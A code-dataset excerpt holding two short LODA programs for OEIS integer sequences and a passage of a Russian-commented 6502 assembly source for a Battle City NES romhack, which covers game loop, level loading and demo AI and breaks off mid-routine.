karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A032509: a(n) = round(tan(Pi*(1-1/n)/2)).
; 0,1,2,2,3,4,4,5,6,6,7,8,8,9,10,10,11,11,12,13,13,14,15,15,16,17,17,18,18,19,20,20,21,22,22,23,24,24,25,25,26,27,27,28,29,29,30,31,31,32,32,33,34,34,35,36,36,37,38,38,39,39,40,41,41,42,43,43,44
add $0,3
mov $3,2
lpb $0,1
add $3,$0
mov $5,8
mul $5,$3
trn $3,10
add $4,$5
add $1,$4
sub $1,$3
div $1,11
mov $2,11
add $2,$1
clr $0,1
lpe
mov $1,$2
sub $1,14
| 20.047619
| 194
| 0.555819
|
957cdfb713904b32bd916e97c681ff91a91a2d7b
| 577
|
asm
|
Assembly
|
programs/oeis/002/A002313.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/002/A002313.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/002/A002313.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A002313: Primes congruent to 1 or 2 modulo 4; or, primes of form x^2 + y^2; or, -1 is a square mod p.
; 2,5,13,17,29,37,41,53,61,73,89,97,101,109,113,137,149,157,173,181,193,197,229,233,241,257,269,277,281,293,313,317,337,349,353,373,389,397,401,409,421,433,449,457,461,509,521,541,557,569,577,593,601,613,617,641,653,661,673,677,701,709,733,757,761,769,773,797,809,821,829,853,857,877,881,929,937,941,953,977,997,1009,1013,1021,1033,1049,1061,1069,1093,1097,1109,1117,1129,1153,1181,1193,1201,1213,1217,1229
seq $0,280084 ; 1 together with the Pythagorean primes.
max $0,2
| 96.166667
| 406
| 0.731369
|
de8135e9a40d64fd2a43d3d9475dfc520b937e53
| 82,945
|
asm
|
Assembly
|
Code.asm
|
romhack/BC-BackFromSource
|
d916ca2e338c3330ea4234dd2ac6c9b115ad6776
|
[
"MIT"
] | 4
|
2015-12-18T18:39:38.000Z
|
2021-05-20T07:40:03.000Z
|
Code.asm
|
romhack/BC-BackFromSource
|
d916ca2e338c3330ea4234dd2ac6c9b115ad6776
|
[
"MIT"
] | null | null | null |
Code.asm
|
romhack/BC-BackFromSource
|
d916ca2e338c3330ea4234dd2ac6c9b115ad6776
|
[
"MIT"
] | 1
|
2015-11-07T20:42:47.000Z
|
2015-11-07T20:42:47.000Z
|
; Griever's Stuff
; -=#Battle City - Back From Source#=-
INCLUDE RAM.asm; Описание всех переменных вынесено в отдельный файл.
INCLUDE REGS.asm; Регистры вынесены в отдельный файл.
; ═══════════════════════════════════════════════════════════════════════════
; Заголовок формата iNES:
.BYTE 'NES',$1A ;String "NES^Z" used to recognize .NES files
.BYTE 2 ;Number of 16kB ROM banks.
.BYTE 1 ;Number of 8kB VROM banks.
DSB 10,0
; ═══════════════════════════════════════════════════════════════════════════
$ = $8000
INCLUDE Level.asm; В верхнем окне будут уровни.
PAD $C000; в нижнем окне - код.
; ═══════════════════════════════════════════════════════════════════════════
; Segment type: Pure code
StaffString: .BYTE 'RYOUITI OOKUBO TAKEFUMI HYOUDOUJUNKO OZAWA '
; DATA XREF: StaffStr_Store:-r
; StaffStr_Check+5r
; ───────────────────────────────────────────────────────────────────────────
RESET: ; DATA XREF: ROM:FFFCo ROM:FFFEo
SEI
LDA #00010000b
STA PPU_CTRL_REG1 ; Бэкграунду второй знакогенератор
CLD
LDX #2
Wait: ; CODE XREF: ROM:C07Cj ROM:C084j
LDA PPU_STATUS ; PPU Status Register (R)
BPL Wait
LDA #00000110b
STA PPU_CTRL_REG2 ; PPU Control Register #2 (W)
DEX
BNE Wait
LDX #$7F ; '' ; Вершина стека
TXS
JSR Reset_ScreenStuff
LDA #0
STA Scroll_Byte
STA PPU_REG1_Stts
JSR Set_PPU
BEGIN: ; CODE XREF: ROM:Skip_RecordShowj
JSR Draw_TitleScreen
LDA #0
STA Construction_Flag ; Пока в Construction не заходили
; START OF FUNCTION CHUNK FOR BonusLevel_ButtonCheck
New_Scroll: ; CODE XREF: BonusLevel_ButtonCheck-372j
JSR Null_Upper_NT
JSR Scroll_TitleScrn ; Убираем из верхней (0(1)) тайловой карты уровень и
; скроллим на титульник в нижней (2(3))тайловой карте.
Title_Loaded: ; CODE XREF: ROM:C156j
; BonusLevel_ButtonCheck+2Bj
; Scroll_TitleScrn+1Aj
JSR Title_Screen_Loop
JSR Load_DemoLevel
JSR BonusLevel_ButtonCheck ; Рекурсия.
JMP New_Scroll ; После окончания бонус уровня, заново скроллируем титульник.
; END OF FUNCTION CHUNK FOR BonusLevel_ButtonCheck
; ───────────────────────────────────────────────────────────────────────────
Construction: ; CODE XREF: ROM:CA82j
LDA Construction_Flag ; Выставляется, если зашли в Construction
BNE Skip_LoadFrame ; Если уже заходили в Construction, рамка уже отрисована
JSR Screen_Off
JSR Make_GrayFrame
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
Skip_LoadFrame: ; CODE XREF: ROM:C0B0j
JSR Null_Status
LDA #$10
STA Tank_X
LDA #$18
STA Tank_Y ; Начальная позиция танка на экране
LDA #$84 ; 'Д'
STA Tank_Status ; Дулом вверх
LDA #0
STA Tank_Type
STA Spr_Attrib
STA Track_Pos
STA BkgOccurence_Flag
STA byte_7B
STA TSA_BlockNumber
STA Scroll_Byte
STA PPU_REG1_Stts
STA Player_Blink_Timer ; Таймер мигания friendly fire
STA Player_Blink_Timer+1 ; Таймер мигания friendly fire
LDA Construction_Flag ; Выставляется, если зашли в Construction
BNE Construction_Loop
JSR DraW_Normal_HQ ; Если уже заходили в Construction, штаб уже отрисован
Construction_Loop: ; CODE XREF: ROM:C0E5j ROM:C14Dj
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR Move_Tank ; Двигает танк в зависимости от нажатых кнопок
JSR Check_BorderReach ; Не дает танку выйти за границы серой рамки
LDA Frame_Counter
AND #$10
BEQ Skip_Status_Handle
JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков
Skip_Status_Handle: ; CODE XREF: ROM:C0F7j
LDA Joypad1_Buttons
AND #$F0 ; 'Ё'
BNE loc_C13E
LDA Joypad1_Differ
AND #1
BEQ loc_C120
LDA BkgOccurence_Flag
BNE loc_C111
INC BkgOccurence_Flag
JMP Construct_Draw_TSA
; ───────────────────────────────────────────────────────────────────────────
loc_C111: ; CODE XREF: ROM:C10Aj
INC TSA_BlockNumber
LDA TSA_BlockNumber
CMP #$E
BNE Construct_Draw_TSA
LDA #0
STA TSA_BlockNumber
JMP Construct_Draw_TSA
; ───────────────────────────────────────────────────────────────────────────
loc_C120: ; CODE XREF: ROM:C106j
LDA Joypad1_Differ
AND #2
BEQ loc_C13E
LDA BkgOccurence_Flag
BNE loc_C12F
INC BkgOccurence_Flag
JMP Construct_Draw_TSA
; ───────────────────────────────────────────────────────────────────────────
loc_C12F: ; CODE XREF: ROM:C128j
DEC TSA_BlockNumber
LDA TSA_BlockNumber
CMP #$FF
BNE Construct_Draw_TSA
LDA #$D ; $D - первый пустой блок
STA TSA_BlockNumber
JMP Construct_Draw_TSA
; ───────────────────────────────────────────────────────────────────────────
loc_C13E: ; CODE XREF: ROM:C100j ROM:C124j
LDA Joypad1_Buttons
AND #3 ; При нажатии А или В рисуется блок под танком
BEQ Construct_StartCheck
Construct_Draw_TSA: ; CODE XREF: ROM:C10Ej ROM:C117j
; ROM:C11Dj ROM:C12Cj ROM:C135j
; ROM:C13Bj
JSR Draw_TSA_On_Tank ; Рисует TSA блок под танком
Construct_StartCheck: ; CODE XREF: ROM:C142j
LDA Joypad1_Differ
AND #8
BNE End_Construction ; Если нажато старт, выходим
JMP Construction_Loop
; ───────────────────────────────────────────────────────────────────────────
End_Construction: ; CODE XREF: ROM:C14Bj
LDA #$20 ; ' '
STA Spr_Attrib
INC Construction_Flag ; Помечаем, что зашли в Construction
JMP Title_Loaded
; ───────────────────────────────────────────────────────────────────────────
Start_StageSelScrn: ; CODE XREF: ROM:C280j ROM:CA7Bj
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR Sound_Stop ; Останавливаем звук, включаем каналы и т.п. (аналогично Load в NSF формате)
LDA #$1C
STA PPU_Addr_Ptr ; Запись будет в верхнюю NT
LDA #0
STA Scroll_Byte
STA PPU_REG1_Stts
STA Pause_Flag
LDA #4
STA BkgPal_Number
JSR FillNT_with_Grey ; создаёт эффект сходящихся вертикальных створок
StageSelect_Loop: ; CODE XREF: ROM:C19Bj ROM:C1A1j
; ROM:C1AEj ROM:C1B4j ROM:C1BCj
; ROM:C1C2j
;!Определяем нужен ли нам Уровень с боссом (каждый восьмой уровень)
LDA Level_Number
AND #7
BNE Skip_Make_Armour
LDA #1
sta Boss_Mode
Lda #Init_Boss_Armour
Sta Boss_Armour
jmp Draw_Stage_String
Skip_Make_Armour:
lda #0
Sta Boss_Armour
sta Boss_Mode
Draw_Stage_String:
JSR Draw_StageNumString
;! Сразу начинаем уровень - безо всяких проверок на кнопки или флага начала игры.
; ───────────────────────────────────────────────────────────────────────────
Start_Level: ; CODE XREF: ROM:C177j ROM:C17Dj
Init_Boss_Armour = #10
LDA Construction_Flag ; Выставляется, если зашли в Construction
BNE Skip_Lvl_Load ; Если побывали в Construction, то
; данные уровня загружаться не будут (они уже в NT_Buffer)
; (только танки и штаб)
;! Определяем какой уровень нужно загрузить: обычный или случайный.
Get_Map_Mode:
Lda Map_Mode_Pos
BEQ Orig_Map
CMP #2
BCC Random_Map
JSR Get_Random_A ;Выбран пункт Mixed
AND #1
JMP Make_Gray_Frame
Orig_Map:
LDA #0 ;Выбран пункт Original
JMP Make_Gray_Frame
Random_Map:
LDA #1 ;Выбран пункт Random
Make_Gray_Frame:
STA Random_Level_Flag
JSR Make_GrayFrame
LDA Level_Number
JSR Load_Level; Тут будет проверен флаг случайного и если нужно, загружен пустой уровень
;!Проверяем флаг и если надо рисуем на пустом уровне лабиринт.
ldx Random_Level_Flag
Beq ++++
jsr Draw_Random_Level
++++
JSR DraW_Normal_HQ ; Рисует штаб с кирпичами
JMP +
; ───────────────────────────────────────────────────────────────────────────
Skip_Lvl_Load: ; CODE XREF: ROM:C1D2j
JSR Draw_Naked_HQ ; Даже если штаб был зарисован в Construction, он будет поверх
+:
LDA #1
STA Snd_Battle1
STA Snd_Battle2
STA Snd_Battle3 ; Проигрываем мелодию боя
; CODE XREF: ROM:C1DFj
LDA #0
STA ScrBuffer_Pos
JSR Copy_AttribToScrnBuff
JSR FillNT_with_Black ; Создаёт эффект расходящихся вертикальных створок
LDA #0
STA BkgPal_Number
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR SetUp_LevelVARs
Battle_Engine: ; CODE XREF: ROM:C221j
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA Pause_Flag
BNE Skip_Battle_Loop ; В режиме паузы не нужно обрабатывать танки, жизни и т.п.
JSR Battle_Loop ; Основные операции с танками и пулями
Skip_Battle_Loop: ; CODE XREF: ROM:C1FEj
JSR Bonus_Draw ; Рисует или пустоту или бонус или очки за бонус
JSR Draw_All_BulletGFX ; Рисует все пули
JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков
LDA Joypad1_Differ
AND #8 ; Проверка на нажатие старт
BEQ Skip_Pause_Switch
LDA #1
EOR Pause_Flag
STA Pause_Flag ; Переключаем флаг паузы на противоположный
STA Snd_Pause
Skip_Pause_Switch: ; CODE XREF: ROM:C210j
JSR Draw_Pause ; Рисует мигающую надпись, в случае если выставлена пауза
JSR LevelEnd_Check ; if ExitLevel then A=1
BEQ Battle_Engine
LDA #0
STA Seconds_Counter
STA Frame_Counter ; Останавливаем таймеры
STA Snd_Move
STA Snd_Engine ; Останавливаем звуки
LDA GameOverStr_Timer
BEQ AfterDeath_BattleRun
LDA #$FE ; '■'
STA Seconds_Counter
AfterDeath_BattleRun: ; CODE XREF: ROM:C232j ROM:C251j
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR FreezePlayer_OnHQDestroy ; Лишает игрока подвижности, если штаб разрушен
JSR Battle_Loop ; Основные операции с танками и пулями
JSR Bonus_Draw ; Рисует или пустоту или бонус или очки за бонус
JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков
JSR Draw_All_BulletGFX ; Рисует все пули
JSR Swap_Pal_Colors ; Периодическое мигание - эффект воды на 01 палитре
LDA Seconds_Counter
CMP #2 ; 2 Секунды держится неподвижная надпись GameOver c замороженным игроком
BNE AfterDeath_BattleRun
JSR Sound_Stop ; Останавливаем звук, включаем каналы и т.п. (аналогично Load в NSF формате)
JSR Draw_Pts_Screen
Check_GameOver: ; CODE XREF: ROM:C26Dj
LDA Player1_Lives
CLC
ADC Player2_Lives
BEQ Make_GameOver ; Если жизней ни у кого не осталось, геймовер
LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен
CMP #$80 ; 'А'
BNE Make_GameOver ; Если штаб разрушен, геймовер
INC Level_Number ;! Увеличиваем псевдономер уровня (из 99-ти)
LDA Level_Number
Cmp #51
BCC Skip_Make_Hard
LDA #1
STA Level_Mode
Skip_Make_Hard:
LDA Level_Number
CMP #100
BCC Continue_Game
Lda #1 ;отображаем финальный экран.
STA Level_Number
LDA #0
STA Level_Mode
JSR Draw_Congrats ; Рисует большую кирпичную надпись с поздравлением
JSR Clear_NT ; Очищаем верхнюю карту тайлов (титульник будет в нижней)
JMP BEGIN
Continue_Game:
JMP Start_StageSelScrn ; Если мы вышли из уровня победителями, то переходим к следующему уровню
; ───────────────────────────────────────────────────────────────────────────
Make_GameOver:
LDA #0
STA Boss_Mode ; CODE XREF: ROM:C278j ROM:C27Ej
JSR Draw_Brick_GameOver ; Рисует большую кирпичную надпись GameOver
;! Если произошел геймовер, то откатываемся на 5 уровней назад, предварительно проверив сам номер уровня.
Lda Level_Number
CMP #6
BCC +; Если номер уровня меньше 6, то отнимать 5 уровней нельзя.
SEC
SBC #5
STA Level_Number
+
JSR Update_HiScore ; На выходе A = $FF, значит есть рекорд
TYA
BEQ Skip_RecordShow
JSR Draw_Record_HiScore ; Рисует большую кирпичную надпись с рекордом
JSR Clear_NT ; Очищаем верхнюю карту тайлов (титульник будет в нижней)
Skip_RecordShow: ; CODE XREF: ROM:C28Aj
JMP BEGIN
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Clear_NT: ; CODE XREF: ROM:C28Fp
JSR Screen_Off
JSR Null_NT_Buffer
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
RTS
; End of function Clear_NT
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Лишает игрока подвижности, если штаб разрушен
FreezePlayer_OnHQDestroy: ; CODE XREF: ROM:C23Bp
LDA HQ_Status ; 80=штаб цел, если ноль то уничтожен
CMP #$80 ; 'А'
BEQ +
LDA #0
STA Joypad1_Buttons
STA Joypad2_Buttons
STA Joypad1_Differ
STA Joypad2_Differ
+: ; CODE XREF: FreezePlayer_OnHQDestroy+4j
RTS
; End of function FreezePlayer_OnHQDestroy
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Null_both_HiScore: ; CODE XREF: ROM:CA78p
LDX #HiScore_1P_String
JSR Null_8Bytes_String
LDX #HiScore_2P_String
JSR Null_8Bytes_String
; End of function Null_both_HiScore
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Init_Level_VARs: ; CODE XREF: Load_DemoLevel+8p
LDA #0
STA Player_Type ; Вид танка игрока
STA Player_Type+1 ; Вид танка игрока
LDA #0
STA AddLife_Flag ; <>0 - игрок получал дополнительную жизнь
STA AddLife_Flag+1 ; <>0 - игрок получал дополнительную жизнь
STA EnterGame_Flag ; Если 0, то можно выбрать уровень
LDA #3 ; Начальное количество жизней
STA Player1_Lives
STA Player2_Lives
STA EnemyRespawn_PlaceIndex
LDA CursorPos
BNE +
LDA #0 ; Если 2 игрока нет, обнуляем его жизни
STA Player2_Lives
+: ; CODE XREF: Init_Level_VARs+1Aj
LDA #0 ; Game Over будет отображаться
STA Level_Mode
RTS
; End of function Init_Level_VARs
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Основные операции с танками и пулями
Battle_Loop: ; CODE XREF: ROM:C200p ROM:C23Ep
; BonusLevel_ButtonCheck+Cp
JSR Ice_Detect ; Обрабатывает игрока, если тот на льду
JSR Ice_Move ; Выполняет скольжение, если танк двигается на льду
JSR Motion_Handle ; Замораживает врагов, если нужно (обработка движения)
JSR HideHiBit_Under_Tank
JSR AllBulletsStatus_Handle ; Обрабатывает статусы всех пуль
JSR HQ_Handle ; Обрабатывает статус и броню штаба
JSR Invisible_Timer_Handle ; Рисует силовое поле, если нужно
JSR Make_Player_Shot ; Делает выстрел игрока, если нажата кнопка
JSR Make_Enemy_Shot ; Производит выстрел, используя случайные числа
JSR Respawn_Handle
JSR Bullet_Fly_Handle ; Обрабатывает полет пули (столкновение и т.п.)
JSR BulletToBullet_Impact_Handle ; Обрабатывает столкновение двух пуль, если оно есть
JSR BulletToTank_Impact_Handle ; Обрабатывает столкновение пули с танком
JSR Bonus_Handle ; Обрабатывает взятие бонуса, если таковое есть
JSR GameOver_Str_Move_Handle ; Выводит надпись Game Over если нужно
JSR Play_Snd_Move ; Играет и гасит звук движения когда нужно
JSR Draw_Player_Lives ; Рисует IP/IIP и число жизней в правом углу
JSR Swap_Pal_Colors ; Периодическое мигание - эффект воды на 01 палитре
RTS
; End of function Battle_Loop
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Периодическое мигание - эффект воды на 01 палитре
Swap_Pal_Colors: ; CODE XREF: ROM:C24Ap Battle_Loop+33p
LDA Frame_Counter
AND #$3F ; '?'
BEQ switch
CMP #$20 ; ' '
BNE exit
LDA #1
STA BkgPal_Number
RTS
; ───────────────────────────────────────────────────────────────────────────
switch: ; CODE XREF: Swap_Pal_Colors+4j
LDA #2
STA BkgPal_Number
exit: ; CODE XREF: Swap_Pal_Colors+8j
RTS
; End of function Swap_Pal_Colors
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
SetUp_LevelVARs: ; CODE XREF: ROM:C1F6p
; Load_DemoLevel+5Ap
JSR Hide_All_Bullets ; Уводим с экраны все пули
JSR Null_Status
LDA #$F0 ; 'Ё'
STA GameOverStr_Y ; Уводим за экран надпись
LDA #0
STA GameOverStr_Timer
LDA Player1_Lives ; Если жизней нет,
; больше не респаунимся
BEQ +
LDX #0
JSR Make_Respawn
+: ; CODE XREF: SetUp_LevelVARs+12j
LDA Player2_Lives
BEQ Set_VARs
LDX #1
JSR Make_Respawn
Set_VARs:
LDA Boss_Mode;!
BEQ Skip_Boss_Mode
LDA Level_Number
CMP #80;! После 80 уровня два босса
BCC Low_Levels
LDA #2
JMP Save_Enemy_Counter
Low_Levels:
LDA #1
JMP Save_Enemy_Counter;! босс будет один, а после 80-го уровня их станет два.
Skip_Boss_Mode:
LDA #20 ;20 врагов в каждом уровне
Save_Enemy_Counter:
STA Enemy_Reinforce_Count ; Количество врагов в запасе
STA Enemy_Counter ; Количество врагов на экране и в запасе
LDA #0
STA Enemy_TypeNumber
STA Seconds_Counter
STA Construction_Flag ; Выставляется, если зашли в Construction
STA HQArmour_Timer ; Таймер брони вокруг штаба
STA Player_Blink_Timer ; Таймер мигания friendly fire
STA Player_Blink_Timer+1 ; Таймер мигания friendly fire
STA Invisible_Timer ; Силовое поле вокруг игрока после рождения
STA byte_8A
STA Respawn_Timer ; Время до следующего респауна
STA Bonus_X
STA EnemyFreeze_Timer
STA EnemyRespawn_PlaceIndex ; Начинаем респауниться слева
JSR Null_KilledEnms_Count ; Обнуляет массив счётчиков убитых врагов
JSR Draw_Reinforcemets
JSR NMI_Wait ; Ожидает немаскируемого прерывания
JSR Draw_IP
JSR Draw_LevelFlag
LDA Boss_Mode
BEQ Skip_Boss_Mode2
JSR Get_Random_A ; в режиме босса записываем единицу в один из типов врагов
AND #3
TAY
LDA #1
STA Enemy_Count,Y
JMP Init_HQ_Stat
Skip_Boss_Mode2:
JSR Load_Enemy_Count
Init_HQ_Stat:
LDA #$80 ; 'А'
STA HQ_Status ; 80=штаб цел, если ноль то уничтожен
LDA #1
STA Snd_Engine
STA EnterGame_Flag ; Если 0, то можно выбрать уровень
LDA Level_Mode
CMP #1
BNE ++
LDA #35
JMP Respawn_Delay_Calc
; ───────────────────────────────────────────────────────────────────────────
++: ; CODE XREF: SetUp_LevelVARs+64j
LDA Level_Number
Respawn_Delay_Calc: ; CODE XREF: SetUp_LevelVARs+68j
CMP #43 ;! На уровнях выше 42, оставляем время на респаун минимальным
BCC Level_Small
LDA #42
Level_Small:
ASL A
ASL A
STA Temp
LDA #190
SEC
SBC Temp
STA Respawn_Delay ; Задержка между респаунами врагов
LDA CursorPos
BEQ +++
LDA Respawn_Delay ; Задержка между респаунами врагов
SEC
SBC #20
STA Respawn_Delay ; Задержка между респаунами во фреймах может быть вычислена по формуле:
; 190 - (№уровня)*4 - (количество_игроков - 1)*20
+++: ; CODE XREF: SetUp_LevelVARs+7Aj
RTS
; End of function SetUp_LevelVARs
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Load_DemoLevel: ; CODE XREF: BonusLevel_ButtonCheck-378p
LDA #1
STA Pause_Flag
LDA #0
STA BkgPal_Number
JSR Init_Level_VARs
LDA #3
STA Player2_Lives ; Вне зависимости от выбора игрока,
; появится второй танк.
LDA #0
STA Scroll_Byte ; Таким образом на экране будет содержимое 0(1)
; тайловой карты. Во 2(3) всегда находится титульник,
; что позволяет не загружать его каждый раз, когда
; нужно вернуться (в этом случае очищаются 0(1)
; тайловые карты и происходит скролл на 2(3), который
; также заметен глазу игрока)
STA PPU_REG1_Stts
STA Seconds_Counter
STA Frame_Counter
JSR Make_GrayFrame
LDA #$FF
STA Level_Number
JSR Load_Level
LDA #1
STA Level_Number ; В правом углу во время бонус уровня указан
; именно 30-й номер уровня, хотя по
; содержимому это и не он
LDA #2
STA Level_Mode
JSR Screen_Off
LDX #$1A
STX Block_X
LDY #$46 ; 'F'
STY Block_Y
LDA #>aBattle ; "BATTLE\xFF"
STA HighStrPtr_Byte
LDA #<aBattle ; "BATTLE\xFF"
STA LowStrPtr_Byte ; Загрузка указателя для "Кирпичного" слова 'BATTLE'
;
JSR Draw_BrickStr
LDX #$3C ; '<'
STX Block_X
LDY #$78 ; 'x'
STY Block_Y ;
;
LDA #>aCity ; "CITY\xFF"
STA HighStrPtr_Byte
LDA #<aCity ; "CITY\xFF"
STA LowStrPtr_Byte ; Загрузка указателя для "Кирпичного" слова 'CITY'
;
JSR Draw_BrickStr
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
JSR SetUp_LevelVARs
JSR DraW_Normal_HQ ; Рисует штаб с кирпичами
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #5
STA TanksOnScreen ; Максимальное количество всех танков на экране
RTS
; End of function Load_DemoLevel
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
BonusLevel_ButtonCheck: ; CODE XREF: BonusLevel_ButtonCheck-375p
; BonusLevel_ButtonCheck+1Bj
; FUNCTION CHUNK AT C09C SIZE 00000012 BYTES
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA Joypad1_Differ
AND #1100b ; проверка на select(4) или start(8)
; во время скроллинга титульника или
; бонус уровня.
BNE Button_Pressed
DemoLevel_Loop: ; Управление танками игроков во время демо уровня
JSR Demo_AI
JSR Battle_Loop ; Основные операции с танками и пулями
JSR Bonus_Draw ; Рисует или пустоту или бонус или очки за бонус
JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков
JSR Draw_All_BulletGFX ; Рисует все пули
JSR LevelEnd_Check ; if ExitLevel then A=1
BEQ BonusLevel_ButtonCheck
End_Demo:
LDA #0
STA ScrBuffer_Pos
RTS
; ───────────────────────────────────────────────────────────────────────────
Button_Pressed: ; CODE XREF: BonusLevel_ButtonCheck+7j
PLA
PLA ; Убираем из стека точку возврата
; (по RTS всё равно выходить не будем),
; но процедура в конце вызывает себя
; рекурсивно - и стек стал бы
; неограниченно заполняться
LDA #0
STA ScrBuffer_Pos
JSR Null_Upper_NT
JMP Title_Loaded
; End of function BonusLevel_ButtonCheck
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует большую кирпичную надпись с рекордом
Draw_Record_HiScore: ; CODE XREF: ROM:C28Cp
JSR Screen_Off
LDA #$1C
STA PPU_Addr_Ptr
LDA #0
STA Scroll_Byte
STA PPU_REG1_Stts
JSR Null_NT_Buffer
LDX #$10
STX Block_X
LDY #$32 ; '2'
STY Block_Y
LDA #>aHiscore ; Выводится в виде кирпичной надписи, если рекорд
STA HighStrPtr_Byte
LDA #<aHiscore ; Выводится в виде кирпичной надписи, если рекорд
STA LowStrPtr_Byte
JSR Draw_BrickStr
JSR Draw_RecordDigit ; Выводит на экран цифру рекорда
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
LDA #0
STA Seconds_Counter
LDA #1
STA Snd_RecordPts1
STA Snd_RecordPts2
STA Snd_RecordPts3
-: ; CODE XREF: Draw_Record_HiScore+4Aj
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA Frame_Counter
AND #3
CLC
ADC #5
STA BkgPal_Number ; Мигание надписи
LDA Snd_RecordPts1
BNE - ; Ждём, пока не закончит играть мелодия рекорда
LDA #0
STA BkgPal_Number
RTS
; End of function Draw_Record_HiScore
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
Draw_RespawnPic: ; CODE XREF: Draw_Drop:-p Draw_Drop+Fp
; Draw_Drop+12p Draw_Drop+15p
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #3
STA TSA_Pal
LDA #3
SEC
SBC Counter
BPL +
EOR #$FF
CLC
ADC #1
+: ; CODE XREF: Draw_RespawnPic+Cj
STA Temp
LDA #3
SEC
SBC Temp
ASL A
ASL A
CLC
ADC #$A1 ; 'б' ; начало в Pattern Table графики респауна
STA Spr_TileIndex
LDX Block_X
LDY Block_Y
JSR Draw_WholeSpr ; Cбрасывает в спрайтовый буффер спрайт 16х16. (в Х, Y - координаты)
RTS
; End of function Draw_RespawnPic
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует большую кирпичную надпись GameOver
Draw_Brick_GameOver: ; CODE XREF: ROM:Make_GameOverp
JSR Screen_Off
LDA #$1C
STA PPU_Addr_Ptr
LDA #0
STA Scroll_Byte
STA PPU_REG1_Stts
JSR Null_NT_Buffer
LDX #$3C ; '<'
STX Block_X
LDY #$46
STY Block_Y
LDA #>aGame ; Выводится в виде кирпичной надписи на весь экран
STA HighStrPtr_Byte
LDA #<aGame ; Выводится в виде кирпичной надписи на весь экран
STA LowStrPtr_Byte
JSR Draw_BrickStr
LDX #$3C ; '<'
STX Block_X
LDY #$78 ; 'x'
STY Block_Y
LDA #>aOver ; "OVER\xFF"
STA HighStrPtr_Byte
LDA #<aOver ; "OVER\xFF"
STA LowStrPtr_Byte
JSR Draw_BrickStr
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
LDA #0
STA Seconds_Counter
LDA #1
STA Snd_GameOver1
STA Snd_GameOver2
STA Snd_GameOver3
Next_Frame: ; CODE XREF: Draw_Brick_GameOver+57j
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA Joypad1_Differ
AND #$C
BNE End_Draw_Brick_GameOver ; Если нажато Select или Start, выходим
LDA Snd_GameOver1
BNE Next_Frame ; Если мелодия закончила играть, выходим
End_Draw_Brick_GameOver: ; CODE XREF: Draw_Brick_GameOver+52j
JSR Screen_Off
JSR Null_NT_Buffer
JSR Store_NT_Buffer_InVRAM ; Сбрасывает на экран содержимое NT_Buffer
JSR Set_PPU
JSR Sound_Stop ; Останавливаем звук, включаем каналы и т.п. (аналогично Load в NSF формате)
RTS
; End of function Draw_Brick_GameOver
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Управление танками игроков во время демо уровня
Demo_AI: ; CODE XREF: BonusLevel_ButtonCheck:DemoLevel_Loopp
LDA #1
STA Counter ; Обрабатываем двух игроков
-: ; CODE XREF: Demo_AI+7Dj
LDX Counter
LDA Bonus_X
BEQ NoBonus ; Bonus_X=0 - бонус выведен за экран
LDA BonusPts_TimeCounter
BNE NoBonus ; Если таймер !=0, бонус взят
; и отображаются очки за него
; Если бонус на экране, в первую очередь забираем его
Take_Bonus:
LDA Bonus_X
STA AI_X_Aim
LDA Bonus_Y
STA AI_Y_Aim
JSR Load_AI_Status
JMP Load_Direction_DemoAI ; 4 направления
; ───────────────────────────────────────────────────────────────────────────
NoBonus: ; CODE XREF: Demo_AI+8j Demo_AI+Cj
LDA Tank_Status+2,X ; Либо бонуса нет,
; либо он уже взят
; Далее производятся проверки танков врагов на жизнеспособность,
; и если они живы, происходит перенацеливание на них
BPL + ; Если <$80, враг умирает
CMP #$E0 ; 'р'
BCS + ; A>$E0 (если больше,
; враг зарождается)
LDA Tank_X+2,X
STA AI_X_Aim
LDA Tank_Y+2,X
STA AI_Y_Aim
JSR Load_AI_Status
JMP Load_Direction_DemoAI ; 4 направления
; ───────────────────────────────────────────────────────────────────────────
